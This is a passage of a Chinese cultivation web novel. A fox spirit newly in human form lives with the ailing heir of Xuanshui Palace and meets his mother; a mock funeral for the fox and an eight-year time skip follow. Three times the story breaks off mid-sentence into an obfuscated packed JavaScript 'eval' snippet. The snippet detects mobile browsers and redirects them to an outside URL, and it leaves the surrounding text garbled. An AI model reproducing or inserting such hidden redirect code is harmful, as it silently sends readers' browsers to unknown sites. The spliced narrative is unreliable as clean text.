“如果你要出去,那就是绝计不能再回到悬水宫了——你可能会被外面的修士盯上的。” 宁时顿了顿,江晏几乎可以想象到,他眉头又开始皱着了:“彤云彤云,你愿意陪着我这个病人,一直留在悬水宫吗?” “我想我不应该这么自私……” 江晏算是听明白了。 这孩子就是一面舍不得他,一面又想让他活的自由自在。 于是江晏出声打断了对方:“你省点心吧,别想那些有的没的了。” 宁时:? 然后他听见自己的小狐狸说:“我既然是你带回来的,你就要对我负责。” “不许抛弃我……我知道现在这个形态不如狐狸可爱。” “我就要呆在悬水宫,一直和你在一起。” “要是有人赶我,我还就不走了呢。” 他慷慨激昂地说完这段话后,却发现……宁时像石头人一样僵住了。 江晏想了想,又补充了一句:“别愣着了,我都把衣服换好了,你可以回头了。” 话毕,宁时慢慢转过身来。 于是江晏看到了一个脸色如火烧的宁时。 江晏:? 他不明所以,完全不知道自己刚刚说的是如何地撩拨人。 宁时对上他迷茫的眼神,一句话几乎是从嘴里挤出来的:“……不是,是谁教的你这么说话的?” 江晏:…… 他虽然不懂分魂的意图,但依旧应对自如:“我天天跟你呆在一起啊。” 此话一出,宁时看起来要晕倒了。 他将将扶住身边的木桌,一只手按着额头,眼神空洞,缓缓道:“罢了,罢了,想来狐狸精就是这种性格。” 说罢,又直勾勾看向江晏:“彤云,以后……这种话不要对外人说,记住了吗?” 江晏望着他深邃的瞳孔,莫名察觉到一种非同寻常的气息。 出于对自己狐身安全的考虑,他乖巧地点了点头。 135. 对镜夸夸 宁时望着他,直到见了他点头的动作,才不自知地松了口气。 江晏:……搞不懂他在想什么。 既然宁时在走神,江晏决定,先不管他了——毕竟自己现在有更重要的事情来做。 那就是:调整一下尾巴的位置。 刚刚由于在和宁时说话,一切都太仓促了,他虽然是穿戴整齐,但那么大一条尾巴窝在后面,布料堆叠,实在是别扭。 江晏面上不显,只是尾巴默默用力,试图从七扭八歪的衣服中抽出来。 ……好像卡住了。 ……用力。 !! 结果这一下,分明是用力用过了头。 他蓬松的大尾巴终于是弹了出来,带着强劲的冲击力直直拍在了床上,发出一声沉闷的巨响。 江晏:…… 他控制不住脸上的表情了——这有点疼啊! 而与此同时,宁时也因他折腾出来的动静回过神,望着那狐尾,面色不明。 江晏看着他,眼神中带了几分自己也难以察觉到的警惕——分魂自从他化成人形之后,多少看起来有一点不正常。 让他莫名想起在黄扬城,亦或者是在云山幻境中的那个神经病宁时。 在他面前,这个宁时终于开口了。 他说:“……不疼吗。” 江晏不想回答这个废话,只是回以一个一言难尽的眼神。 宁时:…… 他感觉自己好像被一只狐狸鄙视了。 没关系的,他想,一定是我的错觉。 于是宁时再次开口:“你的尾巴,这样放着不别扭吗?” 江晏:“……当然了。” 宁时看着他,突然道:“我可以帮你整理一下的。” 江晏:…… 他怀疑对方只是想摸一下狐狸尾巴——毕竟从前他作为一只狐狸时,尾巴的手感好极了。 江晏想了想,感觉宁时有点可怜。 毕竟任谁发现了自己毛茸茸的小宠物,变成了一个不可爱的人类,都不会太高兴吧——来自剑修自以为是的想法。 于是面对着宁时直勾勾的目光,江晏点了点头:“可以。” 宁时:“哦。” 只见他们吞吞地走过来,又慢吞吞地绕到江晏身后,却没有动静了。 江晏看不见他手上的动作,于是又产生了一种悬而未决的隐约不安,便小声催促:“你在干什么呢。” 宁时的声音从他身后传来:“在思考怎么下手。” 江晏没料到是这么个回答,一时无语:“你就还把我当成狐狸就行了。” 说完,空气中安静了片刻后,江晏只觉得尾巴上一麻! 宁时真的是毫不客气,揪住了他尾巴中段最粗壮蓬松的地方,就这样向上提起。 江晏要炸毛了,他伸出一只手要摁下宁时,又匆忙扭过头来,崩溃道:“不是让你把尾巴拎起来!” “是让你整理一下!” 宁时果然停止了动作,可声音中还带着一点疑惑:“为什么不能拎起来?” 江晏要自闭了——这人完全没有意识到狐狸尾巴下方是什么。 他放弃了和对方沟通的想法,怒气冲冲地掰开宁时的手,把自己的尾巴抢出来。 宁时:? 他看着面前妖修红扑扑的脸和耳朵,又想起来从前是如何顺着小狐狸的耳朵一直沿着后背摸到尾巴尖的,突然就想明白了什么。 于是他也突然涨红了脸,讪讪地缩回手。 江晏叹了口气。 虽然知道变成人类之后,会有很多和宁时需要磨合的地方——但这也未免太多了吧! 而且每件事单拎出来,都是让人尴尬极了。 他只能装作若无其事,道:“没事了。” 宁时同他一同站着,又说:“……那你坐下不方便了。” 江晏:…… 仔细想想,是有几分道理。 他道:“那我试一试,能不能把尾巴收起来。” 宁时:? 江晏见他瞳孔放大了一瞬,张了张口,似乎是想说什么,但最终不置一词。 江晏便没有再管他,只是感受着现在这具身体上灵力的涌流。 妖修的修炼逻辑,和人修也并没有什么不同。 他聚精会神,控制灵力涌向尾巴,和头顶的一对狐耳。 一阵赤红色的光芒后,他的身体似乎产生了什么变化。 江晏摸摸身后,又抬手摸了摸头顶——尾巴和狐耳确实都已经消失了。 他微微松了一口气,这样的话,他的身份就不容易暴露了。 他这里正开心着,却突然听到身旁宁时“唉”了一声。 江晏:? 他甚至疑心自己听错了,侧过脸来望着他:“你在叹什么气?” 宁时的目光在他身后和头顶转了个圈,最后悠悠道:“还是长毛的时候更可爱一点。” 江晏:…… 他用胳膊肘怼了对方一下:“你还可惜上了是吧?” 宁时便无奈地笑了,他伸出手,像揉狐狸一样揉了把江晏的头顶,把他未束的黑发抓得又蓬松了一圈: “逗你玩的,我们彤云怎么样都好看。” 江晏抬了抬下巴,“哼”了一声,算是接受了他这个说法。 宁时又道:“这样也好,除非有意探查,旁人便难以发现你是只狐狸了。” 他既然提到了隐藏身份这件事,江晏也想到了什么,说:“可能是因为第一次化形,控制能力还不稳定。” “所以要格外努力,才能隐藏起尾巴和耳朵。” “我估计这几日,如果碰见外界什么大的刺激,也可能一时失去控制,再次冒出来。” 宁时听到这里,又揉了揉他:“不会的,我这里很安全的。” 江晏听了,心说和你呆在一起确实安全,就是不知道其他人会不会发现了……但是这句话没必要说,他便沉默着。 院中侍从们交谈的声音,透过窗子飘到了屋里,热热闹闹的。 江晏听着,突然道:“……要么我还是看看能不能变回去吧。” “这样就更难以发现了。” 宁时看起来一时没有反应过来:“不是,你在说什么?” 他正正神色,道:“彤云,你既然化形为人,就是机缘,应该继续用人形来修炼。” “不是我夸口,天地万物中,以人形修炼,确实比用其他形态修炼更加有效。” “你不必为了以后那些事,耽误了自己的修炼进度。” 江晏:…… 他本来还想反驳,但又想起面前这人,在几个时辰之前才刚刚得知自己无法正常使用灵力的消息。 在某种程度上,宁时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951750|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着他的小狐狸,也许是看着他自己。 他希望小狐狸能带着他对于修习的渴望,能继续走下去。 江晏心思转了转,最终点了点头:“好嘛,那我就这个样子了哈。” 宁时却似乎误解了他的话,闻言道:“我知道你们妖修和人修审美不太相同,”他加重了语气,“但是你要相信我!你不当狐狸当人的时候也特别好看!” 江晏:…… 他想说,我不是这个意思。 但宁时根本不容他开口,迅速伸出双手来,扶上了他的肩。 于是江晏在一头雾水中,被宁时连拖带拉,拽到了梳妆镜前。 又被他按着坐下。 江晏:? 他仰起头来,瞪圆了一双眼睛望着宁时。 宁时终于松开了他的肩头,却是一拍手,笑道:“我都说了你特别好看嘛,来,照照镜子看看?” 说罢,指指面前那雕花银镜。 江晏:……原来是为了这个。 此时的宁时虽然马上要到了及冠的年龄,但江晏大大小小的世界加起来,已经活了几辈子。 宁时在他眼中,完全就是一个小朋友。 江晏决定顺着孩子的意思,哄一哄他。 于是他依言看进镜中,点点头:“嗯,好看。” 宁时却是不依了,他吐出口气,道:“不要敷衍我。” 被看穿了的江晏:? 宁时看着他那张脸,缓缓道:“……你眼神根本还没有聚焦,嘴巴里就已经开始说上好看了。” 失策失策,江晏想。 而这时,宁时一把拉过另一个矮凳,坐到他身边。 于是,银镜中出现了两个人影。 一个粉面红唇,绯色的衣袍光华流转;一个俊逸出尘,一身青衣如同绿竹。 这抹绿色从镜子冲到了江晏眼中,他只感觉自己的心跳漏了一拍。 …… 宁时把胳膊肘放到了梳妆台上,两手托腮,道:“就让我给你分析一下,你的人形哪里好看。” 江晏:? 宁时从镜子中,看着他的眼睛,说:“你的眼睛好看吗?” 江晏:“……好看。” 宁时并不满意他这个回答,又道:“你要描述一下。” 江晏看着自己这一双几乎同他本体无异的眼睛,想了想,道:“眼睛比较大,睫毛也很长,瞳孔是浅灰色的。” 这个答案,终于令宁时短暂地放过了他。 但很快,宁时指了指他的头发:“继续。” 江晏:…… 他不太清楚对方的心思,但本着一种惯孩子的态度,继续说下去:“头发也是黑色的,像狐狸毛一样有光泽。” 宁时满意地点点头,又开始掰他的手指。 江晏:“……足够灵活,比狐狸爪子好用。” 一而再再而三,他自己也品出来一点宁时的意图了。 于是根本不用对方催促,他很自觉地对着镜子和宁时,把自己浑身上下夸了个遍。 到最后,甚至有一些飘飘然了——他好像从来没有这么真实地注意过、感知过自己。 他是一只很棒的狐狸,一个很棒的剑修。 他感觉自己的头脑暖洋洋的,在疯狂蒸腾着泡泡。 而宁时的脸,像一团隔着雾的棉花糖,朦胧又让人安心。 136. 默许 如果身边的人合适,时间总是过得很快。 江晏和宁时这样凑在一起嘀嘀咕咕了一阵后,窗外的淡橘色的晨光,已经变成了正午的烈阳。 ……他们竟在不知不觉中,消磨掉了半日的光阴。 这还是宁时听到外面侍从传膳的声音,反应过来的。 他扬声令侍从将餐食放在中堂,并额外取来一份饭后,又转过脸来,对江晏道:“……好像没有准备你的饭,这就让人加上了。” 江晏来不及阻止,只能道:“好的……其实没有也没事的,我可以变成狐狸,你继续喂我狐狸饭。” 宁时瞳孔地震,他声音略微提起来:“不是,这样怎么可以呢!” “都说了你要用人形生活的。” “这也算是事发突然……我准备告诉小厨房,让他们以后也给有竹苑多准备一些饭菜。” 江晏扶额:“这合理吗……你的食量大增,难道不会有人怀疑吗?” 宁时一摊手:“这应该是不会的……饭菜中都有灵力,我既然无法正常修习了,从外界多补充一些,也说得过去。” 江晏:…… 听起来居然还有几分道理。 房间外传来走动的声音——是刚才那位传菜的侍从,又取了一份饭菜回来。 在一阵轻微的餐具与木质桌面相碰出的声音后,中堂安静了一瞬,有脚步声渐渐远了。 江晏听着,又站起身来,向中堂走的过去,到门口时,又回头望向宁时:“外面一般没人吧。” 宁时也起身向他走来:“嗯,没人,你是要把饭菜拿过来吗?” 江晏点点头,又对他说:“我拿就可以。” 宁时道:“我现在虽然不能操控灵力让它们飞过来,但至少还能用手端一下的。” 江晏:“……一桌子菜呢,你要端到什么时候?” 说话间,二人已经来到了中堂。 那些侍从们已经依言退了下去,空荡荡的房间中,俩人面前的桌子上是密密麻麻的菜碟。 居然还不是一式两份,每个盘子内的菜式都各不相同。粗略看过去,竟有十余种。 宁时:“……不错,种类挺多的。” 江晏看了他一眼:“我就说嘛,”又默默催动操控物体移动的法术。 于是一道红光自他手上腾起,卷起那一桌子的饭菜,凭空向内室移动去了。 宁时就在他身边,叹了句:“还是这样方便……我都不习惯了。” 江晏控制着盘子落在那张桃木桌上,闻言,道:“周大夫总会有办法的。” 宁时拉着他走回桌前,一边说:“……其实挺难的,需要天山秘境里的冷莲。” “占星台那边一直有观测秘境什么时候能开启,但一直没有头绪。” “现在再加上我的事,估计母亲可能今天上午已经去找过他们了。” 江晏“嗯”了一声。 关于宁时的热症,很多时候他不知道该讲些什么,也不知道怎么来安慰他。 江晏想,如果有可能,自己要一直陪着他,一直等到冷莲出现。 这个问题才能彻彻底底解决。 …… 宁时看来也不欲多说这个。 他仅仅在半天之内,就直面了两个极具有冲击性的事件。 不能正常使用灵力,自己从小养大的狐狸化成了人。 堪称经历了心情的大落大起。 江晏一边夹起截嫩竹笋,一边瞧着对方的脸色,只觉得分魂是个人物——此时此刻,居然还能面色如常地陪着自己吃饭。 ……不过想想也是,分魂向来是死要面子的。 他的脆弱难得一见,更何况,在这个小世界里,他作为宗门的长公子,更是要时刻保持着风度仪态。 江晏脑海里杂七杂八想着,慢慢咬下口中的竹笋。 咔嚓一下,是滑中带脆的口感。 然后他面前一花,是宁时从他面前那盘竹笋中,也夹起来一块。 江晏下意识抬头,看向对方。 宁时对上他的视线,极为自然地吃掉了,道:“是从揽屏镇那边产的。” “那边离平海宗近,挨着好几条大灵脉,生长的作物品质不错。” 江晏:…… 他并不在意这盘竹笋的来历。 他看着宁时的动作,只是顺便就想起了,横跨过无数个时空,那年在合江宗的广华殿中,隔着千万人,宁时也是这样看着他吃菜的。 ……即使是去掉所有的记忆,重新换了一具肉身,有些动作也是不会改变的。 江晏说不出是个什么滋味。 他慢慢吃着,一边,宁时又给他加过来一个大鸡腿。 不仅如此,口中还道:“狐狸就应该爱吃这个!” 江晏:…… 其实他已经有些饱了,但为了不辜负分魂的好意,还是小口小口吃着。 宁时在一旁看着,脸上挂着喂小狐狸吃饭时一样的笑。 两人下箸如飞,自然没有余力注意到,中堂的门,不知何时已经被打开了。 一个细长的人影,被正午的阳光映在了地砖上。 …… 江晏终于解决掉这只鸡腿,动手给自己和宁时掐了一个清洁咒。 他手上延伸出丝丝如同红线般的灵力,围着宁时的手转了一圈。 于是长公子那双修长的手,更显得如白玉做的似的。 宁时盯着红线,低声道:“……像希希小时候爱玩的翻绳花。” 江晏随口接道:“那你会玩?” 宁时“嗯”了一声,双手手指动了动,是准备翻花的姿势。 江晏就笑了。 而就在此时,一道明亮的嗓音从他们身后传来,在这内室中还隐约发出的回响,极为突兀: “宁时,转过身来。” 江晏和宁时:! 两人俱是能听出,这是……宁白珠的声音。 想来刚刚聊天聊得太入迷,再加上宁时不方便动用灵力,以及宁白珠修为更是高出了一大截,他们俩谁都没有发现,这位悬水宫宫主,是何时进来的。 江晏想到自己的身份,有点心虚了。 但好在宁白珠现在只是点了宁时的名字。 他僵着身子,用余光瞟了一眼宁时,一边随着他的动作,一起缓缓转过身来。 于是三人六目相对,有竹苑里空气安静了片刻。 还是宁白珠先抬手扶额,似乎是有些头痛:“我本来是过来看看你的情况……却不料这里有位客人?” 宁时点头。 按照常理,作为父母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955528|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,发现自己家孩子和朋友玩耍时,通常会先询问就被小伙伴的姓名以及家庭情况。 但对面的宁白珠却似乎没有询问这些内容的意图,更要命的是,江晏能明显感觉到,她的目光在自己身上来来回回,上上下下地转来转去。 他琢磨了一下自己此刻的形象,感觉要糟: 他此刻头发未束,不带一点装饰地披散于身后,说是刚刚起床都可以; 而至于服装……江晏感觉,虽然自己身上这套衣服宁时只穿过一次,但宁白珠作为母亲,不会一点都没有印象的。 ……任谁家父母看到这种画面,都会控制不住想象力的吧。 江晏终于后知后觉地,开始感到紧张了。 他不紧张还好,此时心境上一有波动,连带着这具刚化成人形的狐狸身体里的灵气,也开始乱撞了。 ……简而言之,宁白珠极具压迫感的出现,让他本来就不稳定的妖力更加不稳了。 甚至头顶和尾巴骨也开始痒痒了。 …… 而面前,宁白珠面带菜色,似乎是消化了一番,终于继续追问下去:“……你的这位朋友,为什么穿着你的衣服?” 宁时:! 江晏:! 那在他身体里横冲直撞的妖力终于出现了轻微的失控,江晏只感到一阵热流涌动后,眼前出现了轻微的红光—— 是他头顶生出狐耳时,发出的光芒。 江晏:…… 他抬手捂去,可身后的大尾巴又扫了出来。 而面前宁白珠盯着他,眼睛慢慢瞪圆了。 宁时:…… 他站起身来,一个箭步上前,将狐狸尾巴和江晏大半个身子挡在身后,口中一边道: “母亲!此事说来话长,我可以解释的!” 宁白珠微微挪动了一下脚步,探头试图去看那火红的狐狸尾巴,恍惚道:“……你说。” 宁时顶着她的目光,也挪了挪身子,甚至把江晏彻底挡严实了:“彤云今天突然就变成人了。” 宁白珠愣住了,片刻后又失声道:“这不可能!它明明只是一只普通的狐狸!” 她神色变幻,似乎想到了什么,突然伸出一只手颤抖着指向江晏:“时时,这该不会是从外面来了一只妖狐,把彤云吃了,然后变成人形骗你的吧!” 宁时:…… 他简直要哭笑不得了:“不是这样的,我是亲眼看到彤云变成人的。” 说罢,挑着要紧的地方和宁白珠说了一遍当时的场面。 于是江晏见到她的脸色逐渐缓和了下去——虽然依旧不太好就是了。 宁白珠依然是犹豫的:“这么说来,虽然彤云是产生了异变才有这个意外,但说到底,他现在是一只……妖修。” 宁时神色微动。 宁白珠又开始扶额了:“他留在悬水宫,总归是有风险的。” 宁时终于开口了:“我们堂堂这么大一个宗门,连一只小狐狸都护不住吗。” 宁白珠:“……也不能这么说。” 宁时轻轻叹了口气,顺手摸了把江晏的狐耳:“冷莲难寻,我已经不知道以后会变成什么样子了。” “就让彤云陪在我身边吧,我还能快乐一点。” 在一室静默中,宁白珠最终点了点头。 137. 天地广袤 江晏从一只狐狸变成人的事,在悬水宫中,便就此轻飘飘揭了过去。 知道事情真相的,只有宁时,宁希,和他们的父母。 宁希还提议说,彤云毕竟不以狐狸的形态存在了,为了把事情做得更加周全,不如为小狐狸举办一场小型葬礼。 起初,宁时在听到这个想法时,脸色有点黑了:“彤云还活着呢。” 但江晏拽了拽他的袖子:“无事。” 其实他对此确实是毫不在意——毕竟从严格意义上讲,剑修也算是死过好几次的人了。 从前那两个小世界里死亡意味着脱出;而原世界里,他那具身体,还被合江宗保存地好好的——江晏想,自己还从来没有见过自己的葬礼。 修士们做事通常百无禁忌,更何况他是这么正宗的一位剑修。 他抱着满满的好奇心,口中却对宁时说得头头是道,讲着大道理: “希妹妹的话你要听呀,做戏就要做全套。” “我那么大一只狐狸你养了这么多年,当时喜欢得不得了,结果现在说没就没,你却毫无反应,这正常吗?” 宁时:…… 他的态度已经开始松动了,犹犹豫豫:“只是终归……” 江晏:“……没事,你这么想。” “光阴如水长东流,曾经的小狐狸已经消失了。” “现在站在你面前的,是一只会变成人的狐狸精。” 宁时嘴角疯狂抽动,江晏盯着他的脸看了一会儿,认为他是在无奈和憋笑之间,努力进行表情管理。 但好在,经过这一番不算激烈的交流后,“为彤云举行葬礼”一事,终究算是定了下来。 于是在一个阳光明媚的日子,在宁时的有竹苑里,这一家四口都到齐了。 哦,旁边还有一位作世家公子打扮的江晏。 他着一身素色的锦衣华服,于宁时并肩而立——他现在是以悬水宫长公子友人的身份,来参加关于一场埋葬过去自己的葬礼。 于是在有竹苑那棵已经死去的桃树下,堆起了一个小小的土堆。 宁时一家人对着这个小土堆,微微低着头。 在院子更远的地方,是零零散散的几位侍从,往这边张望着。 江晏看着这副场面,却有一点想笑了。 他还活着 而在这里,他的过去,和过去的过去一起被埋葬。 风吹过光秃秃的桃木桩子,宁时最先把头抬起来:“……好了。” 江晏:“嗯。” 于是宁白珠等人也不再装模作样,他们和宁时说了几句话,便也离开了有竹苑。 这里的主人,就只剩下了宁时和江晏。 他们又回到了内室。 宁时坐在桌旁,问他:“刚刚看着你的假葬礼,你在想什么?” 江晏实话实说:“感觉有点新鲜。” 宁时扶额:“……你就不能正经一点吗?” 此时,江晏无比感谢自己狐狸精的设定,这让他平时说出去会有违人设的话,也能顺顺畅畅说出口了:“如果哪天我真的寿数已尽,自然是看不到这个场面的。” “今天来看一看,也好。” 宁时:…… 他坐直了身子,抬手要捂狐狸嘴:“你怎么什么都说。” 江晏:“……反正那一天还早。” 宁时却突然叹了口气:“但我那一天可能快了。” 江晏:?! 这次,换成他要去捂宁时的嘴了:“你也别这么说。” 宁时扒下他的手,平静道:“也没什么不能说的——我这个身体情况,你也是知道的。” “说不准哪一天,等到冷莲来到之前,我就已经……” 他话音未落,江晏手上使劲,又结结实实堵住了宁时的嘴。 无法用灵力把江晏的手拨开的宁时:…… 他只得用眉毛和眼角露出了一个苦笑。 江晏慢慢松开手来,却依旧是警惕地盯着他。 见宁时张口,他有那么一瞬间,后背都绷紧了。 宁时发出了声音,这次,他说的是:“算了,我们都不说这个了……你想做什么?” 既然对方已经掀过这个话题,江晏也不多做纠结了,他道:“我困了,想睡觉。” 宁时点点头:“好。” 说完,将他拉上床来——是了,虽然在江晏化为人形后,宁白珠为有竹苑添了一张新床,但新床还一直是新床,江晏还未曾到上面休息过。 江晏起初抗议过,毕竟他的灵魂是一个真正的人类,和对方这样同床共枕,未免有些亲密了。 但宁时只是睁着一双眼睛,平静的望着他,轻声细语,有几分忧郁地开口,江晏便受不了了。 他节节败退,底线越降越低,毕竟宁时的原话是: ——我养了彤云你这么久,每日都要搂着狐狸睡觉,此时分开,手中少了东西,我睡不着。 又道: ——狐狸即使是变成了人,也依旧是狐狸,又何必与我疏远了呢? 江晏:…… 他哑口无言。 他感觉这个世界里的分魂,有一点点黑芝麻馅汤圆的感觉。 所以一时并分不清,宁时这几句话,是真情实感的流露,还是为了说服自己而故作可怜。 但无论是哪种情况……都是令人,或者狐狸,无法拒绝的。 于是江晏只能看着宁时令人摆了一套全新的床具在全新的床上,而自己在午后或者夜晚,依然躺在宁时那里。 至于另一张床,完全成了摆设。 ……就如同此时,他躺在宁时旁边,看着对面一床浅蓝色的新锦被。 有竹苑外有风吹过竹林的声音。 又能听到细雪落下。 有春雷滚滚,百虫爬出泥土。 接着是澎湃的骤雨降下,天地一片白茫茫。 如此四季更迭,斗转星移。 江晏体内涌动的妖力终于乖巧起来,他的狐耳与狐尾,已经完全可控。 至于修为,他已经是一只金丹期的妖修了。 而这一年,宁时二十四岁了。 他已经渐渐习惯于多年来在悬水宫中不能自主使用灵力的日子。 八年前刚刚得知自己患有热症的少年,阴郁的心境缓和了许多。 ——毕竟,他至少还活着。 他还是悬水宫的长公子,他有一只只属于他自己的小狐狸陪着他。 陪他温书,陪他看宁希,再或者是陪他出去游山玩水。 天地广袤,溪流河床底随便的一块鹅卵石,都已经在世上存在了万万年。 他和小狐狸一同站在山巅,看山脉起伏,向四野蜿蜒。 他的小狐狸说,这里曾经是一片海。 曾经有水淹没山峰,形成无际的波澜。 他们此时头顶的月亮,照在过当年的海上。 宁时还记得自己当时说了什么。 他说:“我对这个世界而言,算不了什么。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960773|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消失了以后,这里的山峰还是山峰。” “或许在很多年之后,又变成了海,但和我已经没有关系了。” 他的狐狸听了,却只静静看着他。 小狐狸的发丝随着高处的风在烈烈鼓动,狐狸沉默了片刻,说: “但是你闭上眼睛后,整个世界都消失了。” “看不见山川,看不见宁宫主他们……也看不见我。” “你消失了,我们也会一起消失。” 宁时似乎明白了他想说什么,又似乎不太明白。 他只是又抬手揉了一把小狐狸没有狐耳的头顶。 ……类似于这种的对话,在这八年里,一次又一次上演。 他起初是随意的,好像明天是否能看到太阳升起,都是无所谓的。 但一年又一年过去,他又感觉,这个世界好像也不错。 虽然天山秘境依然没有开启,自己依然无法使用灵力,但好像有什么东西已经改变了。 他现在已经成长成为一个情绪稳定的青年人了。 在某一年里,二十四岁的宁时结束了他今年的一次云游,再次回到了悬水宫。 同年,宁希十六岁。 悬水宫所有的人都或多或少发生了变化,而这其中,以宁希的变化最为明显。 ——毕竟,八年前的宁希,完全还是一个孩子。 而现在,她长高了,修为也更强大了。 她一手握摇光剑,一手被宁白珠拉着,出入过修真界各个宗门大大小小的场合。 ……她已初露锋芒。 同时,另一件事也随之而来。 这就不得不要说道修真界的修士们,归根结底在开始修炼前都是凡人,自然也免不了受凡人间习俗的影响。 比如,为到了适婚年龄的年轻修士们寻找合适的另一半。 对于此事,按照长幼顺序和常理,悬水宫本应先为宁时操持起来的。 但这又涉及到宁时的热症,这种情况,在挑选合适的道侣时是绝对瞒不过去的。 瞒不过去,就意味着这种带有八卦气息的小道消息会以极快的速度传播开来,带着戏剧性的色彩——风言风语放在宗门长公子身上,传出去终归是不太好听的。 而至于宁时本人,他看起来也没有什么寻找道侣的意图。 ——他的头等大事是治好热症,活下去。 这远比找到另一半重要得多,于是为宁时寻找道侣一事便暂时被放下。 但悬水宫不止有一个孩子。 宁希,是一个健康的、有天赋的小女孩。 因此,悬水宫已经开始着手为十六岁的宁希物色另一半的事情了。 ……而且似乎格外隆重,像是要把她哥哥的那一份,一起加到她身上。 对此,江晏和宁时都是喜闻乐见——不能正常修炼的日子过于无聊,看看妹妹谈恋爱也不错。 宁希本人也并不抗拒,她向来是随心所欲,有看顺眼的,就邀请对方出去游历一番。 江晏和宁时此次归家,正好也碰上了独身一人回来的宁希。 江晏远远瞧见了这妹妹低着头,脚步飞快地冲进了自己的房间,竟是没有看到宁时,不禁对宁时疑惑问: “希妹妹看起来有些……不愉快?” 宁时也望着她离开的方向,单手支颐,沉吟道:“……不应该啊。” “她这次不是和千机阁的少主赵玉升一起出的门嘛。” “她之前还对那小子挺感兴趣的。” 138. 宁希 这些年来,由于身体限制,悬水宫的事务中,宁时能帮得上忙的,也只有一些文书或者决策方面的了。 但这些事情,除了他自己,也有宁白珠和宁希在做。 这就导致了一种情况:他经常无所事事。 偶尔的空闲会令人放松,而长时间的空闲,会让人感到无聊。 于是在此时此刻,宁时和江晏对视一眼,完全不用开口,仅凭眼神就达成了统一意见。 那就是,去看一看宁希的情况。 …… 人在生气的时候,通常会走得更快一些。 正如此时的宁希。 她似乎完全沉浸在自己的世界里,头也不抬,像一阵风似地越走越远。 已经到达了一个可以说是违反“不得在宗门内疾行”门规的程度。 宁时此时并不能使用灵力,他只能由江晏拖着,浮在这一股属于妖修的灵力上,慢慢悠悠地跟在宁希身后。 但很快,宁希甩开了他们一大截,在拐角处身形一转,彻底隐没在了层叠的楼阁当中。 江晏停了下来。 宁时拍了拍他后背:“继续走嘛。” 江晏扶额:“我只是在想她去了哪个方向。” “这一片,有她居住的乘曦苑,也有柳苑。” “柳苑规模不算小,算得上是一个散心的好去处。” 他说完,只看着宁时,等待对方拿主意——宁希毕竟和分魂是亲兄妹。 宁时一摊手:“我看她那么生气,不如先去柳苑看看。” “她不高兴时,不喜欢被拘在屋子里。” 说罢,二人换了个方向,踏上了通往柳苑的石子小路。 从柳苑的名字上,就能知道此处景色的特点。 高有十余丈的柳树数不清数目,遮天蔽日。 青丝垂下,像层层叠叠的绿色瀑布。 虽然这些年来已经来过这里无数次,但每一次,江晏依旧会仰起头来,驻足停留。 宁时站在他身边,也停下了步子:“当年,你那狐狸窝还是用这块的大树枝做的呢。” 江晏:…… 两人继续走下去。 在小径另一侧,也有不少柳树的垂枝点在水上,随着风划来划去,带起细微的涟漪。 江晏和宁时目光聚在那涟漪上,缓慢的随着它向前望去。 不远处,是一座在水面上的九曲廊桥,里面居然还有不少人。 听声音都是女孩子,叽叽喳喳的,声音随着返回水波又传了回来。 因为身份原因,江晏其实并不熟悉悬水宫的人,他见了这一群女孩子,第一反应便是扯了扯宁时的袖子,示意他绕道而行。 但宁时却伫立在原地,丝毫不动。 江晏:? 他忍不住开口:“我们换一条路嘛。” 宁时闻言,看了他一眼:“这些女孩子我认识。” 又解释道:“她们都是在乘曦苑做事的,希希的人。” 江晏恍然大悟:“哦哦,那希妹妹也许在此处和她们散心呢。” 说罢,就要拉着宁时走上前去仔细瞧瞧。 宁时却又拽回了他,无奈笑道:“但没有希希的声音,她不在这里。” 江晏轻轻“啊”了一声。 宁时道:“我刚才数了一下,乘曦苑所有的侍女,都在这里了。” “我很是怀疑,她们都是被希希支走的。” “那么现在,我就可以合理地猜测,希希她就在乘曦苑里,没准还在偷偷摸摸干什么。” 他这番推断确实有道理,江晏想了想,说:“总不会是小姑娘发脾气,又好面子不愿意让人看到吧。” 宁时静静地看着回廊中的女孩们:“……谁知道呢,过去瞧瞧罢。” 于是江晏又带着宁时,小心地避开了这段路,从柳苑另一侧离开,并终于是拐到了悬水宫的大路上,到了乘曦苑门口。 乘曦苑的大门是虚掩着,江晏轻轻一推,它便无声地向两边打开。 一般而言,像宁希宁时这种悬水宫未来的主人,是不必在大门口准备侍从的,但是至于内院,侍从就必不可少了。 而现在,乘曦苑的内部也是空荡荡的,甚至能听到落花掉到青石板砖上的声音。 ……不太对劲。 江晏和宁时对视一眼,提起步子继续向内走去。 越过屋子的门槛,中堂依旧是不见人影。 江晏用眼神示意宁时:要不你出声问问吧,再走下去,就到内室了。 